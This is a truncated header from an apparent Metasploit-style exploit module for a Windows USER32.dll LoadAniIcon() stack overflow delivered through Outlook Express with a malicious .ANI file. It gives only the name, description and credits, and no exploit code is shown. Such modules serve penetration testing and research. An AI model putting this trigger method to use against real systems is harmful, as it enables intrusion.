'Name' => 'Windows ANI LoadAniIcon() Chunk Size Stack Overflow (SMTP)',
'Description' => %q{
This module exploits a buffer overflow vulnerability in the
LoadAniIcon() function of USER32.dll. The flaw is triggered
through Outlook Express by using the CURSOR style sheet
directive to load a malicious .ANI file.
This vulnerability was discovered by Alexander Sotirov of Determina
and was rediscovered, in the wild, by McAfee.
